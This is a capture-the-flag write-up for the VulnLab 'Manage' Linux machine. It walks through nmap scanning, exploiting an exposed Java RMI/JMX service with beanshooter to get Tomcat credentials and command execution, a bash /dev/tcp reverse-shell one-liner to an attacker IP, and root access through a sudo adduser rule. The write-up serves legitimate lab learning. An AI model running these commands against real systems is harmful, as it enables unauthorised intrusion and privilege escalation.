# VULNLAB-MANAGE: WRITEUP
#### Difficulty: Easy
#### Description

Manage is a easy-linux machine from vulnlab, created by xct. with interested feature which can be obtained from enumeration. 

## SCANNING

# Nmap 7.94SVN scan initiated Wed Oct 16 13:05:52 2024 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,2222,8080 -sC -sV -oN nmap.txt -vvv 10.10.104.58 10.10.115.208
Nmap scan report for 10.10.115.208 [host down, received no-response]
Nmap scan report for manage.vl (10.10.104.58)
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2024-10-16 13:05:56 EDT for 60s

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL/6LNCGTwX42XmhwON6uF7gkwKfdO4iIzYnFD87dWpXiPrNIYgfW0953r40u4j4DAf+PhgdmdKKKE8KIifQaVc=
|   256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGbGFCw+4cyYAXrdHnPXp2K1ojZhTcQrXPI+pDFW5vkh
2222/tcp open  java-rmi syn-ack ttl 63 Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:42783
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http     syn-ack ttl 63 Apache Tomcat 10.1.19
| http-methods: 
|_  Supported Methods: POST OPTIONS
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 16 13:06:56 2024 -- 2 IP addresses (1 host up) scanned in 64.93 seconds

From nmap scanning we can see that our target has 3 open ports i.e
1. 22
2. 8080
3. 2222

- With port 22 we can't login with ssh because we have no valid creds, so we can try to enumerate other ports.

## ENUM... & ENUM... & ENUM.....
### port 8080
From port 8080 we can see apache tomcat is running, with this we now know what type of language was used here i.e java. lets keep enumerating

- While enumerating i left gobuster,ffuf, and dirsearch run at the background while i can continue with other port, but nothing of interest i found.

### port 2222

2222/tcp open  java-rmi syn-ack ttl 63 Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:42783
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)

- port 2222 was very interesting, we can see java-rmi is running, when i was doing this lab i was't aware of java-rmi so i had to google and understand what it is and what it info it can offer me.

On my way moving there is this [documentation](https://swisskyrepo.github.io/PayloadsAllTheThings/Java%20RMI/) which explains alot about java-rmi

The easiest way to detect this is by using different tools but most nmap also can enumerate this service and identify it. other tool are like `remote-method-guesser(rmg)`,`BaRMIe`
and `beanshooter`

Now after reading alot of documentation here and there i found that we can use this tools to scan for vulnerability but also others tools like `beanshooter` can even give remote code execution.

## EXPLOITATION
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.

### RCE using beanshooter
i found it easy to enumerate and exploit it RMI with `beanshooter`. There is this repo explain well on how to configure beanshooter [beanshooter](https://github.com/qtc-de/beanshooter).

`➜ MANAGE java -jar beanshooter-4.1.0-jar-with-dependencies.jar info 10.10.104.58 2222`

- `info - display method and attribute information on an MBean`

we can get more info with `enum`
- `enum enumerate the JMX service for common vulnerabilities`

Some interested output,remote Mbean server is vulnerable, but at the bottom we can find some creds of two users `manager` and `admin`

[+] Enumerating tomcat users:
[+]
[+]     - Listing 2 tomcat users:
[+]
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  <REDACTED>
[+]             Roles:
[+]                        Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  <REDACTED>
[+]             Roles:
[+]                        Users:type=Role,rolename="role1",database=UserDatabase

From here still this creds don't work with ssh so we need to get a shell, after reading again the help menu from `beanshooter` found something interesting.


At the bottom we can see that we can use `tonka` for uploading and executing commands this was interesting for me, i decided to use it to get a shell.

➜  MANAGE java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.104.58 2222


The shell was not stable, it has some delays so we can try to forward a shell into out machine i.e

/bin/bash -c 'bash -i &>/dev/tcp/10.8.3.117/1234 <&1'


- user.txt = /opt/tomcat

## PRIVILEGE ESCALATION
### from /etc/passwd
From `/etc/passwd` we can see that we have got three users(root,useradmin and karl) with shell. The other two users(kamui and admin) you can ignore them, This were the user i added while i was solving the lab,so they are not part of the lab.

- user admin is not accessible without creds which means that we can we need valid creds to be admin.

tomcat@manage:/home$ cd admin
cd admin
bash: cd: admin: Permission denied
tomcat@manage:/home$ 

### backup file
Inside user `useradmin` without creds we can access the backup archive, so i decided to transfer this into my machine and check what inside it.

Inside the archive file we can see some interesting file such as `.google_authonticator`

And if we try to check its content we see something like this, we have OTP but still so far we don't know where to use it.

### shell as useradmin
Previous we had something like `admin` password we can try to use it go get a shell. i.e

Now we know where the OTP was supposed to be used,lets use one of the OTP, something to note is that once the OTP is used you can't use it again so take another one.

### shell as root
Using basics sudo enumeration such as `sudo -l`, we can see that what a normal user can run as root

with `sudo /usr/sbin/adduser ^[a-zA-Z0-9]+$` When a new user is created in the system, a group with the same name is automatically created. Therefore, if we add a user named 'admin', a group named 'admin' will be created and the user 'admin' will be added to that group automatically.I decide to add user `admin`.

sudo /usr/sbin/adduser admin


Now if we try to run again `sudo -l` , Lets now try to switch to user `admin`.

- And finally we got root access.